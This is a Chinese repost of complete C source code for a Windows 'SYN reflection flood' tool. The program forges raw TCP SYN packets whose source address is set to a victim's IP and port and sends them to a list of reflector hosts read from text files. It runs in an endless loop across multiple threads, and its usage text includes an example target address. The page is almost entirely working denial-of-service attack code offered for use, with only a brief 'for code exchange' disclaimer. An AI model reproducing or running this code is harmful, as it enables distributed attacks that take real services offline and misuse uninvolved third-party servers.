Syn反射洪水攻击

来源:互联网 发布:nginx访问静态图片 编辑:程序博客网 时间:2024/04/28 08:10
#define DEBUGMSG

#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

#pragma comment (lib,"ws2_32.lib")

#define erron GetLastError()
#define WSAerron WSAGetLastError()

typedef struct iphdr   //IP首部
{
   UCHAR Verlen;      //4位版本号+4位长度
   UCHAR Tos;         //8位服务类型TOS
   USHORT Total_len;  //16位总长度
   USHORT Idnet;      //16位标识
   USHORT Flags;      //16位标志
   UCHAR Ttl;         //8位TTL
   UCHAR Proto;       //8位协议
   USHORT Checksum;   //16位校验和
   ULONG SourceIP;    //32位源地址
   ULONG DestIP;      //32目的地址
}IPHDR,*PIPHDR,*LPIPHDR;

typedef struct tcphdr  //TCP首部
{
   USHORT Sport;      //16位源端口
   USHORT Dport;      //16位目的端口
   ULONG Seq;         //32位序列号
   ULONG Ack;         //32位识别号
   UCHAR Lenres;      //4位长度+6位保留字
   UCHAR Flags;       //6位标志
   USHORT Winsize;    //16位窗口值
   USHORT Checksum;   //16位校验和
   USHORT Urp;        //16位紧急数据偏移量
}TCPHDR,*PTCPHDR,*LPTCPHDR;

typedef struct psdhdr  //TCP伪首部
{
   ULONG Saddr;       //32位源地址
   ULONG Daddr;       //32位目的地址
   TCHAR mbz;         //没用
   TCHAR Protol;      //协议
   USHORT Tcplen;     //长度
}PSDHDR,*PPSDHDR,*LPPSDHDR;

typedef struct drdossyninfo   //参数结构
{
   UINT TimeOut;             //超时时间
   UINT IPListNum;           //IP列表计数器
   UINT PortListNum;         //端口列表计数器
   ULONG AttackSourceIP;     //目的IP,设置为源IP
   USHORT AttackSourcePort;  //目的端口,设置为源端口
   TCHAR DestIP[1986][16];   //存放IP列表,反射源,设置为目的IP
   TCHAR DestPort[1986][8];  //存放端口列表,反射源,设置为目的端口
}DRDOSSYNINFO,*PDRDOSSYNINFO,*LPDRDOSSYNINFO;

DWORD WINAPI DrDosSynFlooder (LPVOID lpdrdos);
//洪水攻击主函数

USHORT checksum(USHORT *buffer, int size);
//计算校验和

void Usage (LPCTSTR Parameter);
//帮助函数

int main (int argc, TCHAR *argv[])
{
   DRDOSSYNINFO DrDosSynInfo;     //参数结构
   HANDLE hThread[MAX_PATH];      //线程句柄
   UINT MaxThread=0,ThreadNum=0;  //线程最大值和线程计数器
   UINT DestNum=0;                //目的IP和端口的计数器
   TCHAR StdinIP[16]={0},StdinPort[8]={0};  //存放目的IP和端口
   TCHAR *Find=NULL;
   FILE *fp=NULL;

   if (argc<=2)
   {
       Usage(argv[0]);
       return 0;
   }

   //IP不能大于15
   if (strlen(argv[1])<=15)
       DrDosSynInfo.AttackSourceIP=ntohl(inet_addr(argv[1]));
   else
   {
       #ifdef DEBUGMSG
              printf("Internet address no larger than /"15/"/n");
       #endif
       return 0;
   }

   //端口不能小于0和大于65535
   if (atoi(argv[2])>0&&atoi(argv[2])<65535)
       DrDosSynInfo.AttackSourcePort=atoi(argv[2]);
   else
   {
       #ifdef DEBUGMSG
              printf("Port no less than /"0/" and larger than /"65535/"");
       #endif
       return 0;
   }

   //发送超时
   if (argc>3)
       DrDosSynInfo.TimeOut=atoi(argv[3]);
   else
       DrDosSynInfo.TimeOut=666;    //默认

   //线程最大值
   if (argc>4)
   {
       if (atoi(argv[4])<=sizeof (ULONG)*8)
           MaxThread=atoi(argv[4]);
       else
       {
           #ifdef DEBUGMSG
                  printf("Thread num no less than /"%d/"/n",sizeof (ULONG)*8);
           #endif
           return 0;
       }
   }
   else
       MaxThread=1;    //默认

   //参数太多了
   if (argc>5)
   {
       Usage(argv[0]);
       return 0;
   }

   #ifdef DEBUGMSG
          //输出参数的详细信息
          fprintf(stderr,"AttackIP:%s/n"
                  "AttackPort:%d/n"
                  "TimeOut:%d/n"
                  "MaxThread:%d/n",argv[1],DrDosSynInfo.AttackSourcePort
                  ,DrDosSynInfo.TimeOut,MaxThread);
   #endif

   fp=fopen("DestIP.txt","r");   //打开存放目的IP的文件

   if (fp==NULL)
   {
       #ifdef DEBUGMSG
              printf("Open /"DestIP.txt/" fail/n");
       #endif
       return 0;
   }

   //检测EOF
   while (!feof(fp))
   {
          //读取目的IP到StdinIP
          fgets(StdinIP,sizeof (StdinIP),fp);

          Find=strchr(StdinIP,'/n');   //查找/n
          if (Find)
              *Find='/0';              //替换为/0

          //拷贝到结构中
          strcpy(DrDosSynInfo.DestIP[DestNum],StdinIP);
          //printf("DestIP:%s/n",DrDosSynInfo.DestIP[DestNum]);   //输出目的IP
          DestNum++;     //计数器递增

          if (DestNum==1986)   //数组满了,跳出循环
          {
              printf("IP Array full/n");
              break;
          }
   }

   DrDosSynInfo.IPListNum=DestNum-1;              //总共读取了多少IP
   printf("/nIP List total num:/t%d/n",DestNum);  //输出总共读取了多少IP

   DestNum=0;     //重新置0,以便用于读取端口
   fclose(fp);    //关闭文件指针

   fp=fopen("DestPort.txt","r");    //打开存放目的端口的文件

   if (fp==NULL)
   {
       #ifdef DEBUGMSG
              printf("Open /"DestPort.txt/" fail/n");
       #endif
       return 0;
   }

   while (!feof(fp))
   {
          //读取目的端口到StdinPort
          fgets(StdinPort,sizeof (StdinPort),fp);

          Find=strchr(StdinPort,'/n');
          if (Find)
              *Find='/0';

          strcpy(DrDosSynInfo.DestPort[DestNum],StdinPort);
          //printf("DestPort:%s/n",DrDosSynInfo.DestPort[DestNum]);
          DestNum++;

          if (DestNum==1986)
          {
              printf("Port Array full/n");
              break;
          }
   }

   DrDosSynInfo.PortListNum=DestNum-1;               //总共读取了多少端口
   printf("Port List total num:/t%d/n",DestNum);     //输出总共读取了多少端口
   //现在结构中已经有了反射源,呵呵

   Sleep(500);
   printf("/nStarting....../n");

   //循环创建攻击线程
   for (ThreadNum=0;ThreadNum<MaxThread;)
   {
        hThread[ThreadNum]=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)DrDosSynFlooder,
                                       (LPVOID)&DrDosSynInfo,0,NULL);

        if (hThread[ThreadNum]==NULL)
        {
            #ifdef DEBUGMSG
                   printf("CreateThread() GetLastError reports %d/n",erron);
            #endif
            goto Clean;
        }

        ThreadNum++;
        Sleep(500);     //等待线程初始化完毕
   }

   printf("Input ctrl+c for exit/n");   //CTRL+C退出

   WaitForMultipleObjects(ThreadNum,hThread,TRUE,INFINITE);

   Clean:

         if (hThread!=NULL)
             CloseHandle(hThread);   //释放线程句柄

         if (fp!=NULL)               //关闭文件指针
             fclose(fp);

         return 0;
}

DWORD WINAPI DrDosSynFlooder (LPVOID lpdrdos)
{
     LPDRDOSSYNINFO lpDrDosSynInfo=(LPDRDOSSYNINFO)lpdrdos;
     WSADATA wsadata;
     SOCKET sock=NULL;
     struct sockaddr_in sai;
     TCHAR DestHost[16]={0},DestPort[8]={0};   //目的IP和目的端口
     IPHDR ipHeader;                           //IP首部
     TCPHDR tcpHeader;                         //TCP首部
     PSDHDR psdHeader;                         //TCP伪首部
     BOOL Flag=TRUE;
     UINT IPNum=0,PortNum=0;                   //目的IP和目的端口计数器
     int DataSize=0,TimeOut=0;
     int dSyn=0,nRet=0;

     nRet=WSAStartup(MAKEWORD(2,2),&wsadata);    //初始化

     if (nRet)
     {
         #ifdef DEBUGMSG
                printf("WSAStartup() error: %d/n",nRet);
         #endif
         return 0;
     }

     sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);    //建立SOCKET

     if (sock==INVALID_SOCKET)
     {
         #ifdef DEBUGMSG
                printf("socket() GetLastError reports %d/n",WSAerron);
         #endif
         goto Clean;
     }

     //设置IP_HDRINCL,自己填充数据包
     nRet=setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&Flag,sizeof (Flag));

     if (nRet==SOCKET_ERROR)
     {
         #ifdef DEBUGMSG
                printf("Set IP_HDRINCL/n");
                printf("setsockopt() GetLastError reports %d/n",WSAerron);
         #endif
         goto Clean;
     }

     //设置发送超时
     TimeOut=lpDrDosSynInfo->TimeOut;
     nRet=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char *)&TimeOut,sizeof (TimeOut));

     if (nRet==SOCKET_ERROR)
     {
         #ifdef DEBUGMSG
                printf("Set SO_SNDTIMEO/n");
                printf("setsockopt() GetLastError reports %d/n",WSAerron);
         #endif          
         goto Clean;
     }

     //填充地址结构
     memset(&sai,0,sizeof (sai));
     sai.sin_family=AF_INET;
     sai.sin_port=htons(lpDrDosSynInfo->AttackSourcePort);
     sai.sin_addr.s_addr=htonl(lpDrDosSynInfo->AttackSourceIP);

     for (IPNum=0,PortNum=0;;IPNum++,PortNum++)
     {
          TCHAR SendBuf[256]={0};    //发送缓冲

          //从结构中提取出目的IP,并拷贝到DestHost中,作为反射源
          strcpy(DestHost,lpDrDosSynInfo->DestIP[IPNum]);
          //printf("%s/n",DestHost);

          //从结构中提取出目的端口,并拷贝到DestPort中,作为反射源
          strcpy(DestPort,lpDrDosSynInfo->DestPort[PortNum]);
          //printf("%s/n",DestPort);

          //填充IP首部
          ipHeader.Verlen=(4<<4 | sizeof (ipHeader)/sizeof (ULONG));
          ipHeader.Tos=0;
          ipHeader.Total_len=htons(sizeof (ipHeader)+sizeof (tcpHeader));
          ipHeader.Idnet=1;
          ipHeader.Flags=0;
          ipHeader.Ttl=128;
          ipHeader.Proto=IPPROTO_TCP;
          ipHeader.Checksum=0;
          ipHeader.SourceIP=htonl(lpDrDosSynInfo->AttackSourceIP);  //受害者IP
          ipHeader.DestIP=inet_addr(DestHost);                      //目的IP

          //填充TCP首部
          tcpHeader.Sport=htons(lpDrDosSynInfo->AttackSourcePort);  //受害者端口
          tcpHeader.Dport=htons(atoi(DestPort));                    //目的端口
          tcpHeader.Seq=1986;
          tcpHeader.Ack=1;
          tcpHeader.Lenres=(sizeof (tcpHeader)/4<<4|0);
          tcpHeader.Flags=2;
          tcpHeader.Winsize=1986;
          tcpHeader.Checksum=0;
          tcpHeader.Urp=0;

          //填充TCP伪首部
          psdHeader.Saddr=ipHeader.SourceIP;
          psdHeader.Daddr=ipHeader.DestIP;
          psdHeader.mbz=0;
          psdHeader.Protol=IPPROTO_TCP;
          psdHeader.Tcplen=htons(sizeof (tcpHeader));

          //计算TCP校验和
          memcpy(SendBuf,&psdHeader,sizeof (psdHeader));
          memcpy(SendBuf+sizeof (psdHeader),&tcpHeader,sizeof (tcpHeader));
          tcpHeader.Checksum=checksum((USHORT *)SendBuf,sizeof (psdHeader)+sizeof (tcpHeader));

          ////计算IP校验和
          memcpy(SendBuf,&ipHeader,sizeof (ipHeader));
          memcpy(SendBuf+sizeof (ipHeader),&tcpHeader,sizeof (tcpHeader));
          memset(SendBuf+sizeof (ipHeader)+sizeof (tcpHeader),0,4);
          DataSize=sizeof (ipHeader)+sizeof (tcpHeader);   //数据包大小
          ipHeader.Checksum=checksum((USHORT *)SendBuf,sizeof (ipHeader)+sizeof (tcpHeader));

          memcpy(SendBuf,&ipHeader,sizeof (ipHeader));

          //发送出去
          dSyn=sendto(sock,SendBuf,DataSize,0,(struct sockaddr*)&sai,sizeof (sai));

          if (dSyn==SOCKET_ERROR)
          {
              #ifdef DEBUGMSG
                     printf("sendto() GetLastError reports %d/n",WSAerron);
              #endif
              goto Clean;
          }

          //IP读取到了末尾,重新置0
          if (IPNum==lpDrDosSynInfo->IPListNum)
              IPNum=0;

          //端口,其他同上
          if (PortNum==lpDrDosSynInfo->PortListNum)
              PortNum=0;
     }

     Clean:

          if (sock!=NULL)         //关闭SOCKET
              closesocket(sock);

          WSACleanup();
          return 1;
}

USHORT checksum(USHORT *buffer, int size)
{
      ULONG cksum=0;

      while(size >1)
      {
            cksum+=*buffer++;
            size-=sizeof(USHORT);
      }

      if(size)
         cksum+=*(UCHAR*)buffer;

      cksum=(cksum>>16)+(cksum&0xffff);
      cksum+=(cksum>>16);
      return (USHORT)(~cksum);
}

void Usage (LPCTSTR Parameter)
{
    fprintf(stderr,"============================================================================/n"
            "      dahubaobao洪水程序之---Syn反射洪水攻击/n"
            "环境:Win2K Adv Server + Visual C++ 6.0/n"
            "作者:dahubaobao/n"
            "主页:www.RingZ.org/n"
            "OICQ:382690/n"
            "邮件:382690@qq.com/n"
            "声明:本帖由环行区(RingZ)原创,转载请注明出处,谢谢!/n/n"
            "使用方法:/n"
            "%s 目标IP 目标端口 发送超时 线程最大值/n"
            "例:%s 218.68.19.86 80 888 10/n/n"
            "注意事项:/n"
            "程序的反射源由/"DestIP.txt/"和/"DestPort.txt/"提供/n"
            "用于保存反射源的数组大小为1986,所以不要超过这个大小/n"
            "本程序只是用做代码交流,如有错误,还请多多包含!/n"
            "============================================================================"
            ,Parameter,Parameter);
}